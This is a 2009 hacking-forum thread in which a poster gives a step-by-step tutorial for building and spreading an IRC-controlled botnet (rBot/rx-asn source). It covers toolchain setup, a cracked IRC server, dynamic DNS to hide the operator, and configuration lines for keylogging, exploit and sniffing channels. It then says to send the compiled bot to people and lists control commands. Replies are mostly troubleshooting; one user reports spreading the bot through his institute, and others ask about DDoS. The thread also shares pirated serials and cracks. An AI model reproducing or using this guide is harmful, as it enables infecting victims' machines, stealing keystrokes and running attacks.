Thread: [Botnet setup! Step by Step \(pics included\)](#)

deviney - January 21, 2009, 11:39 am

Hi :D

As you might know i have been asking around lately about botnet's and been getting mostly positive and helpful reply's (thanks guys).

I thought now iv got everything up and running id show everyone else how to get there's up and running:D (am nice like that).

by the way i think this is C&C IRC. I wish someone would teach me how to do peer and other methods. I am also looking for a group/clan that can teach me more and more things :).

There are 1 or 2 pics i borrowed from forums that a few an far i forgot to add credit an i carnt be bothered looking all over the internet AGAIN, just for a nickname... But if its yours then PM me an ill add you to the credits. :)

ok lets get started.

First lets download all the thing you need

1. [Visual Studio 6](#)

Pass: itzforblitz

Serial: 812-2224558

2. [Visual Studio 6 Service Pack 5](#)

3. [Visual Studio 6.0 Processor Pack](#)

4. [Windows XP Core SDK](#)

5. IRCPlus 1.5 + Crack (Follow the A, B, C to download)

A... [\(sign up to sub7\)](#)

B... [\(then click here to get the pass and username for the download\)](#)

C... [\(click here to download\)](#)

6. [mIRC](#)

7. [www.no-ip.com](#) account (ill go into this a bit more later on)

8. [Bot Source](#)

Second Lets Setup Microsoft Visual C++ 6.0

1. Run Microsoft Visual C++ 6.0 setup.exe and install it (Serial: 812-2224558)

2. Install the Service Pack 6

3. Install Windows XP SDK

4. Open up Microsoft Visual C++ Compiler 6.0

5. Go to Tools > Options and Click the "Directories" tab

6. Browse to these directories and add them to the list: (Click the dotted box to add, make sure they go in this order)

Code C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB
[img]http://img472.imageshack.us/img472/1562/untitledfw2.png[/img]

Time To Make a No-Ip Account

This will help stop people getting your IP address.

1. [Goto No-Ip.com an make an account](#)

2. Setup a free Host redirect e.g botnet.no-ip.biz

3. Click on downloads to download your No-IP Dynamic DNS Update Client

4. Run and install the file you downloaded, now leave this for now.

Time to install your IRC_plus 1.5

This is were your host will be (were your actual IRC will be stored). Now you dont need to find/Root a box (anyways lets carry on)

1. Install IRC_plus

2. Use the crack "It will say it never worked, even tho it did :S)

3. Now open IRC plus "Remote Control"

4. Download [THIS guide \(made by me, for you :D\)](#) to show you pictures of how it should be set-up step by step so it works correctly.

Time to setup the mIRC client

The client is so you can connect to your host that you just setup. Without this you would never be able to see the chat room haha.

1. Install mIRC

2. Open mIRC and fill in the usual crap: like name, email, nick blah blah and press ok

3. Now click File> Select Server> Click Add> "fill it out as below"

Description: What ever you want

IRC SERVER: enterwhatyoumade.no-ip.biz (Use the no-ip DUS you made)

Ports: 6667 (this is the most common used but it can be 6000-6010, use whats in your bots config an the one you used in your host)

Group: what ever you want

Password: Password you made in IRCplus

4. Press Add> Press OK

5. Leave mIRC open, open No-IP DUC and Open IRCplus

6. Go back to mIRC and press the lightning bolt in the top left area.

You should now be connected to you server, Now type:

/OPER admin password (Make sure to change password to the one you made on your host)

/join #youchannel (make sure you replaced your channel with the one you made on your host)

You sould now be on you IRC chat room (channel). If you are then your doing good, if not start this TUT again and follow everystep to the letter dont skip ahead at any time.

Now the Bit You Have Been Waiting For: Setting Up Your Bot

1. Unpack "rx-asn-2-re-worked_v3.rar" Bot Source

2. You should see an rx-asn-2-re-worked v3 folder

3. Open the rx-asn-2-re-worked v3

4. Open configs.h folder and edit these lines only:

Code // bot configuration (generic) - doesn't need to be encrypted2001

int port = 6667; // server port (Change to 6667 or the port your IRC uses)

Code #else // Recommended to use this only for Crypt() setup, this is unsecure.

char botid[] = "Mr Bumbastic"; //Change to what you want the bot to be called

char version[] = "0.1"; // Change What version you want it to be called

char password[] = "password"; // change to a password you will use inside your irc so bots know its you

char server[] = "yournoipduc.no-ip.biz"; // Change to the No-ip DUC address that you made.

char serverpass[] = "paswords"; // Change to the server password you made on ICRplus host

char channel[] = "#bots"; // Change to the channel you made on ICRplus host

char chanpass[] = ""; // Best to leave this blank, we dont need we have a server password

char server2[] = ""; // Does not work so make it blank

char channel2[] = ""; // Does not work so make it blank

char chanpass2[] = ""; // Does not work so make it blank

char filename[] = "crss"; // What you want your bot to be called in Task manger (i think hmmm)

char keylogfile[] = "keylog"; // keylog filename (says it all haha

```
char valuenam[] = "Microsoft";    // value name for autostart (not to important so leave it as
microsoft)
char nickconst[] = "zombie";      // change to first part to the bot's nickname in IRC
char szLocalPayloadFile[]=".exe"; // What you want your bot to be called in Task manger
char modeonconn[] = "-xi+B";     // Havnt got a clue so just leave it
char exploitchan[] = "#bots";    // Channel where exploit messages get redirected
char keylogchan[] = "#bots";    // Channel where keylog messages get redirected
char psniffchan[] = "#bots";    // Channel where psniff messages get redirected
5. Save it and close Visual Studio 6
```

6. Now open the rx-asn-2-re-worked v3 folder again > open rBot.dsw

7. Now right click Rbot file and click build.

[img]1. Download and unpack: Rxbot 7.6 (212.3 kb) Mirror 2 Mirror 3 2. You should see an Rxbot 7.6 folder 3. Open the Rxbot 7.6 > configs.h folder and edit these lines only: [img]

8. Your botnet will be save in rx-asn-2-re-worked v3> Debug folder

9. Send this to people rBot.exe to people

Lastly Using the bot

Firstly i am just going to give you very basic commands to use. Make sure you have mIRC, No-IP DUC, IRCplus running and have some bots already.

1. Ok now connect to your server using mIRC

2. Make sure your the admin (/oper admin password)

3. Use the commands

Code .Login botpassword

(You have to do this first so the bots listen to you, make sure botpassword is what you set in config.h)

.Remove (incase you opened it on your pc, also removes from other pc's and leaves nothing behind)

4. Here's were you can get all the commands [click here](#)

tallkotteh - January 21, 2009, 12:00 pm

Nice job :D, its perfect, even if it has been posted before i dont mind that its posted again (as long it works) :P, I havent seen this kinda tut for a botnet. Many thanks!

deviney - January 21, 2009, 12:08 pm

(Jan 21, 2009 12:46 PM)brent328 Wrote: [CITE](#) Stolen tutorial, this exact tut is already posted. I would love to see the link of were this tutrial was posted you little lyer!

Get your facts straight before you come spouting your little newby mouth of here!

tallkotteh - January 21, 2009, 12:32 pm

I like this tut more, cr4sh tutorial doesnt explain much about how to set up your own irc server.. and cr4sh tutorial wasnt hes own either so why say "Stolen tutorial, this exact tut is already posted." maybe u should say the same thing to cr4sh.

rogue - January 21, 2009, 5:19 pm

Nice tut friend, probably the most detailed idiot proof one ever
very nice work. I dont know about the p2p method of control but
Im sure Agobot comes with a diferent form of C&C.

Tomber - January 21, 2009, 6:47 pm

yea take it easy you guys. Brent you flame ALL the time in your threads, take it easy bra (back seat
modding FTW!!!!)

DigiDeveloper - January 21, 2009, 6:58 pm

[hxxp://hackersdownload.blogspot.com/2008/12/how-to-compile-secure-run-botnets.html](http://haxxp://hackersdownload.blogspot.com/2008/12/how-to-compile-secure-run-botnets.html)

heres the link i first read this tutorial on.....

kA53y - January 21, 2009, 9:06 pm

Great Tut deviney

Need a little help though....

Not sure about #4 Windows XP Core SDK

link opens up to Windows® Server 2003 SP1 Platform SDK Web Install

is this correct

Nyx- - January 21, 2009, 9:41 pm

(Jan 21, 2009 01:16 PM)brent328 Wrote: [\[CITE\]](#)

bitch.

and you spelt "liar" wrong, dumbass.

lol, way to be able to read bro. guess you cant fucking tell its not the same tutorial. similar? yes. the
same? no.

and stop talking shit faggot.

ohytheng - January 21, 2009, 11:14 pm

Nice tutorial Dude...

I like it very much...

Thanks..

?

Legym - January 21, 2009, 11:57 pm

Well, its 3 tut's combine in one, but good tut i guess.

Iv'e only seen this problem a million times but

Unable to connect to server (Connection refused)

Connect cancelled

can anyone tell what is happening, i went STEP-BY-STEP.

VB-Silent - January 22, 2009, 1:08 am

i recieve errors when compiling :(

deviney - January 22, 2009, 2:07 am

(Jan 21, 2009 10:41 PM)Nyx- Wrote: [\[CITE\]](#) (Jan 21, 2009 01:16 PM)brent328 Wrote: [\[CITE\]](#)

Connect cancelled

can anyone tell what is happening, i went STEP-BY-STEP.

yes thats correct it is 3 tuts into one but i have used my own words and also added a full section of picture support to set the lp_plus up.

Did you start the server before you connected?

Did you down load the .doc with picture guide setup of lp_plus and set it up in the correct way, as shown?

(Jan 22, 2009 02:08 AM)VB-Silent Wrote: [\[CITE\]](#) i recieve errors when compiling :(Helps if you post the errors :S

EDIT: Does ANYONE think this should maybe be put into the "Important Threads" section. Save us getting loads of nooby questions everywhere about botnets :)

Goku - January 22, 2009, 3:24 am

this happens every single time i try to learn something in hacking....everything freaking time. the tut doesn't work for me, when i go to install Microsoft Visual C++ 6.0, it says:

Code Local Visual C++ 6.0 Standard Edition Disk 1

Path:so i put in the path of the folder, and it doesn't highlight the "ok" so i can't chose it, so i made it an ISO file, and chose that, and it still wouldn't go. so i typed in the locations...and when i selected ok....

Code The specified location is invalid. please choose another.

So, i can't even get past that step, let alone the rest of this tut. anyone have any ideas?

deviney - January 22, 2009, 3:40 am

try a diffrent VB instlation, theres loads on torrent site's, This link in my tut for it is not mine so i cannot give you advice on it because i used my VB instaltion from a diffrent source.

I cannot give you my source because i carnt remmber it but i will find another source when i get home from work.

I am currently working on a full download wich will include all the downloads in a single file, also a full word document with step by step instructions and pictures. This will make it easier for everyone but i will be charging Â£5 for it as i will of spent a very long time doing it an it will include a 90% UD botnet.

Goku - January 22, 2009, 3:45 am

um, yeah, i'm not going to pay for something i can just google for five minutes and get the same info. not being a jerk. i know you spent time on it, but...if it costs money, i just ignore it...lol.

tallkotteh - January 22, 2009, 6:58 am

(Jan 22, 2009 02:08 AM)VB-Silent Wrote: [\[CITE\]](#) i recieve errors when compiling :(Thats cuz the SDK FOLDERS need to be set up right under the directory tab in VB6, lemme show u:

- 1.C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE haf to be on the top, under show directories for: Include files
- 2.Under Executable files C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN has ot be on the top.
- 3.Under Library files C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB has to be on the top
- 4.Under Include files u put C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE At the top and the next one as -> C:\PROGRAM FILES\MICROSOFT PLATFORM SDK

Im pretty sure that`s your problem ? it happend to me the first time tho D: Time to install your IRC_plus 1.5

This is were your host will be (were your actual IRC will be stored). Now you dont need to find/Root a box (anyways lets carry on)

1. Install IRC_plus
2. Use the crack "It will say it never worked, even tho it did :S)
3. Now open IRC plus "Remote Control"
4. Download THIS guide (made by me, for you :D) to show you pictures of how it should be set-up step by step so it works correctly.

Stupid question lol but wut am i exactly to put in the Remote login for the ircplus, the Servername:my ip i guess lol but what Username:??? and Pass:??? and does it matther what port i choose its on 7100

deviney - January 22, 2009, 10:49 am

(Jan 22, 2009 04:45 AM)Psinetic Wrote: [\[CITE\]](#) um, yeah, i'm not going to pay for something i can just google for five minutes and get the same info. not being a jerk. i know you spent time on it, but...if it costs money, i just ignore it...lol.

Thats why i released this tut for people who have a bit of a brain the one that costs 5 pounds is for people who are really stupid an need to spoon fed haha

satanswrath - January 22, 2009, 12:35 pm

How come I can't connect to my server... when i try to ircchat it says im not connected, but the server is running

Legym - January 22, 2009, 3:46 pm

Let me try to help.

If your using vista, make sure to right click on VB 6.0 and Go to properties. Then go to compatibility and click the box that says run as administrator.

[IMG]<http://i275.photobucket.com/albums/jj314/legym/Untitled-4.jpg>[IMG]

The next thing it seems is installing the SDK and SP6. For the SDK, it says Windows XP. I Know there is a difference between the Vista and Windows XP SDK.

This link had the SDK im using for Vista home premium, im sure it works for other vista's too. Make sure you know you are updating VB with the service pack and installing the SDK correctly.

MAKE SURE TO RUN AS ADMIN ON EVERY PROGRAM that is included for VB.

<http://www.4shared.com/file/82021582/f7e09523/sdk.html>

Next, Your picture Guide for installing with the IRCPlus is broken. Would be appericated if you could upload it again.

Im gonna retry No-IP again and see if there is any luck. Might put a Tut on how to install the SP6, VB, and SDK

What Nyx-said

This is the most helpful botnet tutorial I have even seen on HF. Copied or not, It's good that I found it

VB-Silent - January 22, 2009, 11:53 pm

(Jan 22, 2009 04:46 PM)legym Wrote: [\[CITE\]](#) Let me try to help.

If your using vista, make sure to right click on VB 6.0 and Go to properties. Then go to compatibility and click the box that says run as administrator.

[IMG]<http://i275.photobucket.com/albums/jj314/legym/Untitled-4.jpg>[/IMG]

The next thing it seems is installing the SDK and SP6. For the SDK, it says Windows XP. I Know there is a difference between the Vista and Windows XP SDK.

This link had the SDK im using for Vista home premium, im sure it works for other vista's too. Make sure you know you are updating VB with the service pack and installing the SDK correctly. MAKE SURE TO RUN AS ADMIN ON EVERY PROGRAM that is included for VB.

<http://www.4shared.com/file/82021582/f7e09523/sdk.html>

Next, Your picture Guide for installing with the IRCPlus is broken. Would be appericated if you could upload it again.

Im gonna retry No-IP again and see if there is any luck. Might put a Tut on how to install the SP6, VB, and SDK

this is a vista theme pack on a XP pro SP3 machine

ermeleh - January 23, 2009, 12:16 am

Very nice,,,
Thanks alot

SYNJAY6661 - January 23, 2009, 12:27 am

NICE TUT!
Will be very usefull

- 1.C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE haf to be on the top, under show directories for: Include files
- 2.Under Executable files C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN has ot be on the top.
- 3.Under Library files C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB has to be on the top
- 4.Under Include files u put C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE At the top and the next one as -> C:\PROGRAM FILES\MICROSOFT PLATFORM SDK

Im pretty sure that`s your problem ? it happend to me the first time tho D: Time to install your IRC_plus 1.5

This is were your host will be (were your actual IRC will be stored). Now you dont need to find/Root a box (anyways lets carry on)

1. Install IRC_plus

2. Use the crack "It will say it never worked, even tho it did :S)

3. Now open IRC plus "Remote Control"

4. Download THIS guide (made by me, for you :D) to show you pictures of how it should be set-up step by step so it works correctly.

Stupid question lol but wut am i exactly to put in the Remote login for the ircplus, the Servername:my ip i guess lol but what Username:??? and Pass:??? and does it matter what port i choose its on 7100

You are right.It worked but I had to do something else wrong cause I still get on error.At first I got the same as him

rehan90 - January 28, 2009, 12:36 am

Me too. Why?

MyNameIs940 - January 29, 2009, 6:01 am

You gotta connect to 127.0.0.1 not to the no-ip.org thing, I get this error when I try to get the bot to

connect on a different computer on a different local host:

```
Code NICK ..An-793726
USER lknpyxgm 0 0 :..An-793726
:MYSERVER.com NOTICE AUTH :*** Looking up your hostname...
:MYSERVER.com NOTICE AUTH :*** Checking ident...
:MYSERVER.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address
instead
:MYSERVER.com NOTICE AUTH :*** No ident response; username prefixed with ~
:MYSERVER.com 432 ..An-793726 :Erroneous Nickname: Illegal characters
I'm not using IRCPlus I'm using UnrealIRCd because It's basically the same, any reason why it
would do this? I have looked through all the config files, I'm not that great at C++, but, I don't see
where the ".." comes from. If anyone could help I would greatly appreciate it. :)
```

Draken161 - January 29, 2009, 4:20 pm

And you will probably find more..

plyrjohn404 - February 28, 2009, 5:26 pm

Need help, it when i did all the steps to "6. Go back to mIRC and press the lightining bolt in the top left area." it says "unable to connect to server , connect refused" help I FOLLOWED EVERYTHING ;P rBot.exe - 177 error(s), 58 warning(s)

wen building the bot source in c++

pilzruk - March 3, 2009, 8:20 am

(Feb 28, 2009 06:26 PM)plyrjohn404 Wrote: [\[CITE\]](#) Need help, it when i did all the steps to "6. Go back to mIRC and press the lightining bolt in the top left area." it says "unable to connect to server , connect refused" help I FOLLOWED EVERYTHING ;P rBot.exe - 177 error(s), 58 warning(s)

wen building the bot source in c++

Make sure NO-IP is running, i get that unable to connect very often..but i just boot the server few times and it starts work.. and as for that rBot.exe make sure you have put the:

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB

in that order..i got the error too and just cause there was some "," accidentally typed ?

stickynipples - March 12, 2009, 7:49 pm

When i try to connect i get No Authorization for this server

- [10053] Software caused connection abort

-

Disconnected

bobo98a - March 15, 2009, 5:11 pm

i cant connect on the mirc it worked the first time but then i exited out of it and compiled the botnet then tried to connect again but wont connect it says refused connection please help me.

penner13 - March 17, 2009, 1:11 pm

im getting the same connection refused error. any ideas?

hitman_07 - March 17, 2009, 2:24 pm

sweeeeeeeeeeeeeeeeeeeeeet

penner13 - March 17, 2009, 6:25 pm

has anyone got this to work correctly? if so send me a pm ?

â™¥_%Heart%_â™¥ - March 17, 2009, 8:20 pm

Nice guide, thanks for this.

Illuminati - March 18, 2009, 5:45 pm

A decent tutorial, However... This is ridiculously over posted.

However anyone getting "error" messages, seriously? You expect to download this kids files and expect to not be a part of his bot by tomorrow? Jesus christ.

Lets see, This guy is unoriginal((((KEY1)))
This guy is a Prickbag((((KEY2))))
This guy not only can't spell, but also uses the word
""newb""((((WTFRUSERIOOUSLYDOWNLOADINGTHISSHIT))))

But for real, this is a good read, however seriously kids wtf. go download you'r own don't get "spoon fed" this kids botnet.

Peace matez

Deviney == gayfag

pilzuk - March 22, 2009, 8:55 am

You shuld rly hide your ass with these botnets, first one guy got into my botnet and was about to take it..but didn't..then my ISP shut down our internet cause one of our computers were "control servers", they told us to format all our comps or they call cops :-)

Grolo - March 22, 2009, 8:55 am

Nice tut, helped a lot

Prettykitty - March 23, 2009, 3:47 pm

nOT PICS PIC theres only ONE picture in the whole tut, overall decent thanks.

Rexis - March 24, 2009, 4:13 am

its not stolen its not even like the other tutorial!

x00b - March 24, 2009, 11:56 am

it fkin IS stolen but anyways - guys if you're getting connection refused .. the IRC ports are being blocked ... if u're behind a router check if the ports are forwarded. If you dont have a router and u're runnin a firewall on ur pc, make sure dat firewall is allowing IRCplus.

Setting up an IRC server wid UnrealIRCd is rediculously easy - i dun trust or like IRCplus n programs like dat :/

GoodChair - March 24, 2009, 2:56 pm

.... idk how but im not getting the same screens as you are on the irc plus...
when i click remote control i get this...
[http://\[censored\].com/view.php?pic=xomyjt&s=5](http://[censored].com/view.php?pic=xomyjt&s=5)

and if i click the main exe
i get...
[http://\[censored\].com/view.php?pic=2r589x5&s=5](http://[censored].com/view.php?pic=2r589x5&s=5)

i downloaded right from their website...

thanks...

Sketchy - March 24, 2009, 3:32 pm

Noobie question but would VS6 able to work on Vista?

deviney - March 24, 2009, 5:35 pm

(Mar 24, 2009 11:56 AM)x00b Wrote: [\[CITE\]](#) it fkin IS stolen but anyways - guys if you're getting connection refused .. the IRC ports are being blocked ... if u're behind a router check if the ports are forwarded. LOL! Stop saying its stolen! i fucking spent time makeing this, if you can find were its stolen from then fine! post the link! but i bet you youl never find a copy of this tut being posted before this one ANYWERE ELSE!

Fucking Frube, your not even worthy of being called a goob!

penner13 - March 24, 2009, 9:20 pm

still cant connect to my irc server through no-ip, i can get it when i use 127.0.0.1 as the ip address for both mirc and ircplus, i have forwarded port 6667. any advice?

x00b - March 25, 2009, 9:30 pm

deviney, i really don't need to prove that this TUT isn't yours. You may have wrote it yourself but this isn't yours. I saw this tutorial here differently months before you joined. And the fkin cmand file is uploaded by me on mediafire and i posted the links - anyways your rep shows how gud you are.

nem41 - March 28, 2009, 8:37 am

i have the same problem please help

FeAR Being - March 28, 2009, 9:01 am

I've seen this tut like 2/3 times in here already.

tiger 01 - March 28, 2009, 10:58 am

cool tut, helped me alot.

i zeph00 i - March 29, 2009, 5:51 am

I have got a problem,it's the microsoft platform SDK.

It won't show here.

any help please?

asbl00drunscold - March 30, 2009, 4:12 pm

dude i so needed this, the other day i decided to start learning DoS and DDoS

Opaque - March 31, 2009, 10:20 am

Lol, all sounds good, stop flaming the poor guy, jesus, put it this way, even if it is copied, most of us would never have seen this tutorial at all, hes reiterating information, assuming its compypaste, but i doubt it
its quite nice

Chris

Scaper - April 1, 2009, 8:01 am

i cant run the c++ thing i keep getting a error why?

the following error's

this 1 1st

[img]http://i41.[censored].com/o5cmms.jpg[/img]

then this

[img]http://i40.[censored].com/2gy4yec.jpg[/img]

and then this

[img]http://i39.[censored].com/29y05td.jpg[/img]

please help

julian_jackson - April 1, 2009, 12:06 pm

LOL

Well by the look of that resolution u seem to be running 800x600
probably dont have a good direct card (video) card/driver installed

most computers use 16 bit and 64 bit...

if ur driver does not support it, all u can do is get a new hardware

probably the acme folder is not present.....

AMD - April 1, 2009, 6:24 pm

microsoft platform SDK web instal doesnt need the ful package all u need is the lil 3mb sdk installer
heheh might be 1.5mb not to sure been ages since i installed it hehe for getting errors like that be
sure to have installed the windows xp update or make sure your operating system is Compatable
with the Vs 5.0/6.0

Switchx_o - April 4, 2009, 8:17 am

EDIT: Problem Solved. Thanks!

Can Hel Me !!!!!!!

Divine Will - May 12, 2009, 4:10 pm

Can anyone tell me what im doing wrong? I got the bot compiled, and I have the IRC server setup. I login into my server and join the channel hosting my bots and I type /oper admin and my password.

I try using .login 'password' and other commands but i dont get anything back.. dunno whats wrong. I ran the bot onmyself lol.

Thanks

Byte - May 13, 2009, 5:40 pm

Does this also work with Visual Basic 6 or just the program that you have in the DL files..?

-Tony- - May 13, 2009, 5:59 pm

im having a hard time getting my irc working, i followed everything exactly got the IRCPlus NO-IP and mIRC up and set up correctly but when i try to connect to my server from mIRC it says unable to connect.

i Slap Kidz - May 13, 2009, 7:34 pm

Nice Tut!

-Tony- - May 13, 2009, 8:16 pm

Can anyone who understands the irc making part of it well pm me please.

iBH DeRaJ - May 13, 2009, 11:42 pm

Nice job bro. keep up the good work

Byte - May 14, 2009, 5:23 am

Why is there a virus in the IRCServer?

File: http://sub7legends.com/downloads/IRCPlus_v1.5crack.zip/IP2Kcr.exe

Malware name: Win32:Trojan-gen {Other}

Malware Type: Virus/Worm

Does anyone else get this pop-up?

Wickex - May 14, 2009, 3:03 pm

Nope, it's just a false positive. The file is 100% clean.

twistercool - May 17, 2009, 8:35 am

are botnets like the psychoids in mirc which could run even if the owner is offline? just asking..noob here

Xplizion - May 17, 2009, 10:33 am

Hi, I'm following this tutorial, but I can't seem to set up the botnet.

I followed every step, created a channel on some IRC server.

Then I infected my laptop with my bot to try it out, but no bot came connecting...

Is there anything I am doing wrong?

This is the configs.h file, well the parts that matter:

```
Code char botid[] = "Te0";           // bot id
char version[] = "0.1";              // Bots !version reply
char password[] = "xxx";             // bot password
char server[] = "irc.zerofuzion.net"; // server
char serverpass[] = "";              // server password
char channel[] = "#teo";             // channel that the bot should join
char chanpass[] = "xxx";             // channel password
char server2[] = "";                 // backup server (optional)
char channel2[] = "";                // backup channel (optional)
char chanpass2[] = "";               // backup channel password (optional)
char filename[] = "THISISAFUCKINGBOT.exe"; // destination file name
char keylogfile[] = "keylog";        // keylog filename
char valuenam[] = "Microsoft";       // value name for autostart
char nickconst[] = "zombie";         // first part to the bot's nick
char szLocalPayloadFile[]="THISISAFUCKINGBOT.exe"; // Payload filename
char modeonconn[] = "-xi+B";         // Can be more than one mode and contain both + and -
char exploitchan[] = "#bot";         // Channel where exploit messages get redirected
char keylogchan[] = "#bot";          // Channel where keylog messages get redirected
char psniffchan[] = "#bot";          // Channel where psniff messages get redirected
Thanks for the help already guys...
```

grtz
/xplizion

i Slap Kidz - May 17, 2009, 10:37 am

Xplizion theres many things you could have done wrong if you bot isnt showing up.

If i were you I'd take time and redo everything from step 1. Just to make sure you fully understand how to set it up. And it probably will work if you redo everything. Always does the job for me because i always seem to miss something.

DarkStorm - May 17, 2009, 10:49 am

gah i got a few erros but still nice tut

iBH DeRaJ - May 18, 2009, 8:00 pm

4. Download THIS guide (made by me, for you :D) to show you pictures of how it should be set-up step by step so it works correctly.

there is were i have trouble.. when i download that guide.. and click on it.. it tells me to save it again.. can anyone help?>?? Pm me if you can plz :(

!.:Creature:!! - May 19, 2009, 10:14 am

Hey hey I have done this and when I got to the compiling part I get this error...

```
-----Configuration: rBot - Win32 Debug-----
Compiling...
advscan.cpp
```

Error executing cl.exe.

rBot.exe - 49 error(s), 0 warning(s)

any help would be great :)

brimmy - May 20, 2009, 4:44 am

I get errors too lol

Dymo - May 20, 2009, 7:59 am

Like is stated in my thread, when i use the .get command to download a file from te zombie PC i get
Connection failed

Sander92 - May 20, 2009, 9:38 am

So, i know what a botnet is, but what can it be used for?

AnonymouS12 - May 20, 2009, 1:17 pm

Im stuck on IRC_plus 1.5

What do i put when i open the remote? It always says connection refused!

Xeonph - May 21, 2009, 2:38 am

NICE

don't we have to port forward 6667 though for it to work?..

the gost - May 21, 2009, 3:32 am

nice post i really love it

Nytrix - May 21, 2009, 5:57 am

Great guide mate should be stickied!

AnonymouS12 - May 21, 2009, 10:31 am

K, can't connect to mIRC (Connection Refused) and can't compile rbot :

-----Configuration: rBot - Win32 Debug-----

Error executing cl.exe.

rBot.exe - 177 error(s), 58 warning(s)

So this tutorial is kind useless.

Archivos de programa means program files in spanish.

iCanHack - May 21, 2009, 10:51 am

Very nice, helped a lot! thanks a shit load keep it up

Bloodfold - May 24, 2009, 3:36 pm

Nice tutorial, but when I installed the first 3 programs it messed up so I just didn't bother :S
But I'm sure more people in this thread enjoyed it if it worked for them?

kream cheese - May 25, 2009, 1:08 am

thanks for the tut I may try this tommorrow

Flyster - May 26, 2009, 3:53 am

Nice tutorial for newbies like me...

the gost - May 26, 2009, 10:53 am

this is not stolen tut Brent328

sanitarium6996 - May 28, 2009, 12:09 am

im a complete n00b to botnets. can someone explain why you two irc clients? I can't install visual

C++. error says "error launching acmboot.exe". Can someone help me fix this. Or is there another way to compile a bot???

nazariy - May 28, 2009, 12:53 pm

I have compiled bla bla bla ran it on my test computer (desktop).
and i have logined in my irc server with no problems but on the right side it only says me, no bots
??? i tried so many ways 2 fix dis but still keeps on happening FUCK!!!!:angry:
can u help me guys?

rained23 - June 9, 2009, 1:43 am

thanks for this tut...

I was able to make the botnet and spread it throw my institute.

Thx ..

Austinn - June 9, 2009, 6:51 am

Thanks for this, Trying it now

iBiZaRRe - June 9, 2009, 7:45 am

Does this work with Vista?

Legym - June 9, 2009, 11:16 am

iBiZaRRe, yes it does work with vista.

HAs anyone been able to connect to their server?

Dodgethis - June 10, 2009, 3:11 pm

I will try this thx :) Nice tut i will try this one

Boris - June 10, 2009, 4:47 pm

I can't pm yet, but could you make me one? How much?

Dr.SLiM - June 16, 2009, 11:33 am

Hey, PM me please if you found a self-constructing bot where all you have to do is enter a ip and port then thats it.

Legym - June 16, 2009, 12:07 pm

(Jun 16, 2009 11:33 AM)DJSLiM Wrote: [\[CITE\]](#) Hey, PM me please if you found a self-constructing bot where all you have to do is enter a ip and port then thats it.

It doesnt really work like that. In order to change that information, you have to get into the source code. If you have a decent computer, look into VMware. Keeps from downloading all these updates to your personal computer

Destii - June 20, 2009, 6:51 am

Everything went just fine! until when I tried to test it out and went to my irc server, my bot didn't show up! Zzzz

deviney - June 20, 2009, 7:11 am

people who see no botnets in your irc-

make sure:

1.mirc is open (duh!)

- 2.No-Ip is running an ur redirecter box is ticked
- 3.configs inside bot are all correct

Crust - June 22, 2009, 12:42 pm

thank's for the tutorial, you thought me alot

SilentExplizit - June 22, 2009, 2:56 pm

wow great tut O_o!works great no problems

thepusher - June 23, 2009, 10:42 pm

Great TuT, I would like to add a couple things.

I Would use IRCXPro or Unreal for the IRCD (Moar secure + Moar features, And for all the peeps having trouble connecting. Remeber to forward your IRCD port IF your behind a router

5system - June 25, 2009, 12:00 am

ok so i have a problem compiling and would love some help if someone could PM me asap..... =)

rBot.exe - 49 error(s), 0 warning(s)

joe.adam - June 25, 2009, 10:25 am

im going to try it... thanks for your time!!

Mister Sinister - June 26, 2009, 8:51 am

There were a lot of errors with building rbot

Linxy6 - June 26, 2009, 1:45 pm

help me pleaseplease, after i install the Visual Studio 6, i try to install the "Visual Studio 6 Service Pack 5" and it ask me where to extract the files, where do i extract them?

[img]<http://img8.imageshack.us/img8/9044/visualservicepack5.jpg>[/img]

also when i try to install the "3. Visual Studio 6.0 Processor Pack," i get this:

[img]<http://img29.imageshack.us/img29/7516/processora.jpg>[/img]

could someone please help me? :(

Tyro - June 26, 2009, 9:23 pm

(Jun 25, 2009 12:00 AM)sword_fish Wrote: [\[CITE\]](#) ok so i have a problem compiling and would love some help if someone could PM me asap..... =)i have the same problem except i get 56 errors if anyone knows how to fix it or what im doing wrong please message me im running vista 64bit

bgenuis7 - June 26, 2009, 10:37 pm

10x for the tutorial but ircplus is not working anymore in the crack they tell me wrong version and when i open remote control its not the same that u have provide in ur tutorial :S what can i do ?

Tyro - June 27, 2009, 12:35 am

if it worked for the first 148 people then somebody must be able to help me please

yaroon369 - June 27, 2009, 11:43 pm

i like this better then the other one more noob friendly =)
thanks man

yaroon369 - June 28, 2009, 11:06 am

Cannot open include file: 'windns.h': No such file or directory

pleassee help i have no clue what to do pm me will do anything

Legym - June 28, 2009, 11:12 am

(Jun 27, 2009 12:35 AM)VMTyro2 Wrote: [\[CITE\]](#) if it worked for the first 148 people then somebody must be able to help me please

You need to put the director's in the correct spots. And you HAVE to have the correct SDK and service pack 6 or 5

In Visual C++ 6.0, go to tools>options>directories>

And make sure the directories are in the correct postions:

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB

(The others dont matter, but the 4 on top HAVE to be in this order)

Here are my personal Vids on setting up this bot source.

<http://uploading.com/files/WSS0SEZD/Setting> Up the botnet.rar.html

The-Noob - June 30, 2009, 6:37 pm

Question - Is the bot ment to be logd in when i join my chan?

Joseph Ducreux - June 30, 2009, 9:51 pm

So what can this botnet do?

Can I perform dDoS? 'DbD's?

Legym - July 2, 2009, 4:38 am

Quote:So what can this botnet do?

Can I perform dDoS? 'DbD's?

